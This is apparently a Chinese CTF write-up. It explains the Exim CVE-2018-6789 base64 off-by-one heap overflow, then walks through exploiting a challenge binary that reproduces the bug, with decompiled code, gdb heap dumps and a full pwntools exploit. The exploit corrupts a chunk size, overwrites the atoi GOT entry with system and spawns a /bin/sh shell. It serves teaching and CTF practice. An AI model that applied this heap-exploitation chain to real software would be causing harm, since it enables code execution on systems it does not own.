exim2018-6789漏洞原理
漏洞的成因是b64decode函数在对不规范的base64编码过的数据进行解码时可能会溢出堆上的一个字节,比较经典的off-by-one漏洞。
存在漏洞的b64decode函数部分代码如下:
b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
*ptr = result;
/* Each cycle of the loop handles a quantum of 4 input bytes. For the last
quantum this may decode to 1, 2, or 3 output bytes. */
......
}
我们知道,base64编码原理就是将明文8位8位排列,拆分成6位6位的当作索引去编码表找对应字符,这里就涉及到几个编码字符可以完整表示一个明文字符,这里就要求编码长度是6和8的最小公倍数即24,也就是说密文4字节可以完整表示明文3字节,该漏洞就在于在申请解码后空间大小的时候,可能导致1字节溢出,这段代码解码base64的逻辑是把4个字节当做一组,4个字节解码成3个字节,但是当最后余3个字节(即len(code)=4n+3)时,会解码成2个字节,解码后的总长度为 3n+2 字节,而分配的堆空间的大小为3n+1 ,因此就会发生堆溢出。当然,官方给出的修补方案也很简单,多分配几个字节就可以了。
迁移pwn题
题目分析
根据该漏洞原理,有一个pwn题,利用off-by-one,实现获取shell。
首先该题除了PIE,其他保护全开。
题目四个功能,add、find、edit、delete,其中add、edit涉及到base64单字节溢出漏洞,add函数的auth_code是base64解码后存入内存,其他功能(edit、delete)使用要验证auth_code,所以输入的要是auth_code经过base64编码后的结果,最多添加16个:
for ( i = 0; i <= 15 && *(&ptr + i); ++i )
;
if ( i == 16 )
{
puts("full");
}
else
{
printf("key: ");
read(0, keybuf, 0x10uLL);
if ( (unsigned int)sub_400B37(keybuf) == -1 )
{
nodestruct = malloc(0x28uLL); <---结构体空间大小固定0x28
v0 = keybuf[1];
*(_QWORD *)nodestruct = keybuf[0]; <---赋值key
*((_QWORD *)nodestruct + 1) = v0;
printf("auth code: ");
memset(s, 0, 0x400uLL);
read(0, s, 0x3FFuLL);
base64decode(s, (_QWORD *)nodestruct + 2); <---解码auth_code
while ( 1 )
{
printf("content size: ");
nbytes = sub_400ADE();
if ( nbytes > 0 && nbytes <= 1023 )
break;
puts("bad size");
}
*((_DWORD *)nodestruct + 8) = nbytes;
*((_QWORD *)nodestruct + 3) = malloc(nbytes + 1); <---content
printf("content: ");
*(_BYTE *)(*((_QWORD *)nodestruct + 3) + (int)read(0, *((void **)nodestruct + 3), (unsigned int)nbytes)) = 0; <---content最后赋值零,防止泄露堆地址(put函数00截断)
*(&ptr + i) = nodestruct;
}
base64decode函数:
auth_code = (char *)a1;
auth_code_len = strlen(a1);
v26 = malloc(3 * (auth_code_len >> 2) + 1);<----漏洞点
*a2 = v26;
通过调试和代码分析可得到node的结构体:
gdb-peda$ x/100gx 0x18eb000
0x18eb000: 0x0000000000000000 0x0000000000000031
0x18eb010: 0x3030303030303030 0x3030303030303030 <--key 0x10
0x18eb020: 0x00000000018eb040 0x00000000018eb060 <--auth_code content
0x18eb030: 0x0000000000000020 0x0000000000000021
0x18eb040: 0x6665656264616564 0x0000000000000000 <--auth
0x18eb050: 0x0000000000000000 0x0000000000000031
0x18eb060: 0x0000003074736574 0x0000000000000000 <--content
0x18eb070: 0x0000000000000000 0x0000000000000000
struct node{
char *keybuf[0x10];
char *auth_code[auth_size];
char *content[content_size]
}
delete函数:
printf("key: ");
read(0, buf, 0x10uLL);
v1 = sub_400B37(buf);
if ( v1 == -1 )
{
puts("no match");
}
else
{
printf("auth code: ");
memset(s, 0, 0x400uLL);
read(0, s, 0x3FFuLL);
base64decode(s, &s1);
if ( !strcmp(s1, *((const char **)*(&ptr + v1) + 2)) )
{
free(s1); // 释放输入的auth_code空间
free(*((void **)*(&ptr + v1) + 3)); // 释放原有content空间
free(*(&ptr + v1)); // 释放原有结构体,key头指针
*(&ptr + v1) = 0LL; // 结构体赋值0
}
else
{
puts("auth fail");
free(s1);
}
}
edit函数:
printf("key: ");
read(0, buf, 0x10uLL);
v2 = sub_400B37(buf);
if ( v2 == -1 )
{
puts("no match");
}
else
{
printf("auth code: ");
memset(s, 0, 0x400uLL);
read(0, s, 0x3FFuLL);
base64decode(s, &nbytes[1]);
if ( !strcmp(*(const char **)&nbytes[1], *((const char **)*(&ptr + v2) + 2)) )
{
free(*(void **)&nbytes[1]);
while ( 1 )
{
printf("content size: ");
nbytes[0] = sub_400ADE();
if ( nbytes[0] > 0 && nbytes[0] <= 1023 )
break;
puts("bad size");
}
if ( *((_DWORD *)*(&ptr + v2) + 8) < nbytes[0] )
{
v0 = (__int64)*(&ptr + v2);
*(_QWORD *)(v0 + 24) = realloc(*(void **)(v0 + 24), nbytes[0] + 1); <---realloc重新申请空间
*((_DWORD *)*(&ptr + v2) + 8) = nbytes[0];
}
printf("content: ");
*(_BYTE *)(*((_QWORD *)*(&ptr + v2) + 3) + (int)read(0, *((void **)*(&ptr + v2) + 3), nbytes[0])) = 0;
}
else
{
puts("auth fail");
free(*(void **)&nbytes[1]);
}
}
这里realloc申请空间和原有空间大小有关:
- size>原size:
- 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
- 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
- size<原size:
- 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
- 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
- size=原size: 不操作
- size=0: 相当于free(ptr)
利用思路
通过结构体和调试得到的堆分配顺序,可看到auth_code溢出覆盖的是content的chunk size,可以将content chunk size的末位一字节改大,从而可以控制下个紧邻chunk的key空间的字段,进而控制auth_code、content字段指向。
- 利用add、delete、edit构造0x61、0x101的chunk相邻,再释放掉0x61,通过add申请,将0x61的fastbin(原来是chunk的content字段)申请到chunk的auth_code字段,由漏洞可以覆盖下一chunk的size的末位。
- 将下个chunk的size:0x101覆盖成0x131,从而有了0x30字节的可控区域
- 通过0x30字节实现泄露libc和改写got表,完成利用。
过程:
构造0x61、0x101的chunk相邻
addcord('0'*0x10,auth_code,0x20,'test0')
addcord('1'*0x10,auth_code,0x210,'test1') <--构造大块,然后释放到unsorted bin
addcord('2'*0x10,auth_code,0x20,'test2')
addcord('3'*0x10,auth_code,0x20,'test2')
deletecord("1"*0x10, auth_code)
addcord('1'*0x10,auth_code,0x90,'test1') <--申请0x101 chunk
editcord('2'*0x10,auth_code,0x58-1,'b'*0x10) <--申请0x61 chunk
0x1b890d0: 0x0000000000000000 0x00000000000000a1 <--原大小0x221的unsorted bin,现切割了0x90
0x1b890e0: 0x0000003174736574 0x00007f1d8cc0cd88
0x1b890f0: 0x0000000000000000 0x0000000000000000
0x1b89100: 0x0000000000000000 0x0000000000000000
0x1b89110: 0x0000000000000000 0x0000000000000000
0x1b89120: 0x0000000000000000 0x0000000000000000
0x1b89130: 0x0000000000000000 0x0000000000000000
0x1b89140: 0x0000000000000000 0x0000000000000000
0x1b89150: 0x0000000000000000 0x0000000000000000
0x1b89160: 0x0000000000000000 0x0000000000000000
0x1b89170: 0x0000000000000000 0x0000000000000021
0x1b89180: 0x0000000000000000 0x00007f1d8cc0cb00
0x1b89190: 0x0000000000000000 0x0000000000000061 <--申请0X61的块,chunk2的content
0x1b891a0: 0x6262626262626262 0x6262626262626262
0x1b891b0: 0x0000000000000000 0x0000000000000000
0x1b891c0: 0x0000000000000000 0x0000000000000000
0x1b891d0: 0x0000000000000000 0x0000000000000000
0x1b891e0: 0x0000000000000000 0x0000000000000000
0x1b891f0: 0x0000000000000000 0x0000000000000101 <--剩余unsorted bin
0x1b89200: 0x00007f1d8cc0cb78 0x00007f1d8cc0cb78
0x1b89210: 0x0000000000000000 0x0000000000000000
0x1b89220: 0x0000000000000000 0x0000000000000000
释放0x61块,再次申请chunk2,将0x61块申请到auth_code字段,覆盖下面的0x101低一字节位0x31:
deletecord("2"*0x10, auth_code)
#dbg()
######构造大小为0x60的auth_code去申请0x60的大小的chunk
auth_code_new = b64encode("deadbeef"*0xb+"1")
auth_code_new = auth_code_new.replace("=",'')
print hex((len(auth_code_new)>>2)*3+1)
addcord('2'*0x10,auth_code_new,0x20,'test1')
0x1b89190: 0x0000000000000000 0x0000000000000061
0x1b891a0: 0x6665656264616564 0x6665656264616564
0x1b891b0: 0x6665656264616564 0x6665656264616564
0x1b891c0: 0x6665656264616564 0x6665656264616564
0x1b891d0: 0x6665656264616564 0x6665656264616564
0x1b891e0: 0x6665656264616564 0x6665656264616564
0x1b891f0: 0x6665656264616564 0x0000000000000131 <----已覆盖
0x1b89200: 0x00007f1d8cc0cb78 0x00007f1d8cc0cb78
0x1b89210: 0x0000000000000000 0x0000000000000000
0x1b89220: 0x0000000000000000 0x0000000000000000
之后申请该unsorted bin,让其指向chunk3的content字段,我们就可以覆盖下面的chunk的content指针为atoi的got表地址,auth_code为任意固定字符串(程序中或libc中)用于绕过auth_code检查:
#######要覆盖atoi_got为system,edit功能必须验证auth_code
#两个方法:1.泄露heap,拿到auth_code的地址
# 2.修改auth_code地址为固定字符串地址,再次edit时使用固定字串绕过验证,此处用该方法
payload = ""
payload += 'a'*0x100
payload += '2'*0x10
payload += p64(str_addr) #该地址为auth_code地址,但是目前泄露不出heap地址,此时改为固定字符串
payload += p64(atoi_got)
editcord("3"*0x10, auth_code ,0x120 - 1, payload)
0x1b891f0: 0x6665656264616564 0x0000000000000131
0x1b89200: 0x6161616161616161 0x6161616161616161
0x1b89210: 0x6161616161616161 0x6161616161616161
0x1b89220: 0x6161616161616161 0x6161616161616161
0x1b89230: 0x6161616161616161 0x6161616161616161
0x1b89240: 0x6161616161616161 0x6161616161616161
0x1b89250: 0x6161616161616161 0x6161616161616161
0x1b89260: 0x6161616161616161 0x6161616161616161
0x1b89270: 0x6161616161616161 0x6161616161616161
0x1b89280: 0x6161616161616161 0x6161616161616161
0x1b89290: 0x6161616161616161 0x6161616161616161
0x1b892a0: 0x6161616161616161 0x6161616161616161
0x1b892b0: 0x6161616161616161 0x6161616161616161
0x1b892c0: 0x6161616161616161 0x6161616161616161
0x1b892d0: 0x6161616161616161 0x6161616161616161
0x1b892e0: 0x6161616161616161 0x6161616161616161
0x1b892f0: 0x6161616161616161 0x6161616161616161
0x1b89300: 0x3232323232323232 0x3232323232323232
0x1b89310: 0x0000000000401908 0x0000000000602090 <--str_addr atoi_got
0x1b89320: 0x0000000000000020 0x0000000000000021
然后调用find函数输出atoi地址,泄露libc。
atoi = findcord("2"*0x10)
atoi_addr = int(atoi,16)
构造和固定字符串相同的字符,绕过验证,通过编辑功能将chunk2的content为system,覆盖got表,传入参数/bin/sh
,拿到shell。
#####构造固定字串,绕过验证
auth_code_new1 = b64encode('no match')
#auth_code_new1 = auth_code_new1.replace("=",'')
#通过验证,修改atoi_got为sys
editcord("2"*0x10, auth_code_new1 ,0x10,p64(sys_addr))
#dbg()
#触发atoi,拿shell
p.sendafter("choice>> ",'/bin/sh')
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from base64 import b64encode
arch = '64'
version = '2.23'
context.log_level='debug'
p = process('./auth_record')
#p = remote("10.104.7.86",9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./auth_record')
context(os='linux', arch='amd64')
context.terminal = ['terminator','-x','sh','-c']
def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365 , 0x4f3c2 , 0x10a45c]
return one
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)
def addcord(key,authcode,size,content=''):
p.sendafter("choice>> ",'1')
p.sendafter("key: ",key)
p.sendafter("auth code: ",authcode)
p.sendafter("content size: ",str(size))
p.sendafter("content: ",content)
def findcord(key):
p.sendafter("choice>> ",'2')
p.sendafter("key: ",key)
info = hex(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
return info
def deletecord(key,authcode):
p.sendafter("choice>> ",'4')
p.sendafter("key: ",key)
p.sendafter("auth code: ",authcode)
def editcord(key,authcode,size,content=''):
p.sendafter("choice>> ",'3')
p.sendafter("key: ",key)
p.sendafter("auth code: ",authcode)
p.sendafter("content size: ",str(size))
p.sendafter("content: ",content)
auth_code = b64encode("deadbeef")
######构造0x60和0x100的chunk相邻
addcord('0'*0x10,auth_code,0x20,'test0')
addcord('1'*0x10,auth_code,0x210,'test1')
addcord('2'*0x10,auth_code,0x20,'test2')
addcord('3'*0x10,auth_code,0x20,'test2')
deletecord("1"*0x10, auth_code)
dbg()
addcord('1'*0x10,auth_code,0x90,'test1')
editcord('2'*0x10,auth_code,0x58-1,'b'*0x10)# 0x58-1利用base64一字节溢出
deletecord("2"*0x10, auth_code)
#dbg()
######构造大小为0x60的auth_code去申请0x60的大小的chunk
auth_code_new = b64encode("deadbeef"*0xb+"1")
auth_code_new = auth_code_new.replace("=",'')
print hex((len(auth_code_new)>>2)*3+1)
addcord('2'*0x10,auth_code_new,0x20,'test1')
#dbg()
###### 泄露atoi_addr地址,获取libc
# 通过base64一字节溢出覆盖下个0x100的chunk为0x131使其能控制chunk2的author_code和content的指针,泄露和改写地址
atoi_got = elf.got['atoi']
print 'atoi_got:',hex(atoi_got)
str_addr = next(elf.search(b"no match"))
print 'no match:',hex(str_addr)
#######要覆盖atoi_got为system,edit功能必须验证auth_code
#两个方法:1.泄露heap,拿到auth_code的地址
# 2.修改auth_code地址为固定字符串地址,再次edit时使用固定字串绕过验证,此处用该方法
payload = ""
payload += 'a'*0x100
payload += '2'*0x10
payload += p64(str_addr) #该地址为auth_code地址,但是目前泄露不出heap地址,此时改为固定字符串
payload += p64(atoi_got)
editcord("3"*0x10, auth_code ,0x120 - 1, payload)
atoi = findcord("2"*0x10)
atoi_addr = int(atoi,16)
print 'atoi_addr',hex(atoi_addr)
print 'atoi:',hex(libc.symbols["atoi"])
libc_base = atoi_addr - libc.symbols["atoi"]
print 'libc_base:',hex(libc_base)
sys_addr = libc_base+libc.symbols['system']
log.info('sys_addr:%#x' %sys_addr)
#dbg()
#####构造固定字串,绕过验证
auth_code_new1 = b64encode('no match')
#auth_code_new1 = auth_code_new1.replace("=",'')
#通过验证,修改atoi_got为sys
editcord("2"*0x10, auth_code_new1 ,0x10,p64(sys_addr))
#dbg()
#触发atoi,拿shell
p.sendafter("choice>> ",'/bin/sh')
p.interactive()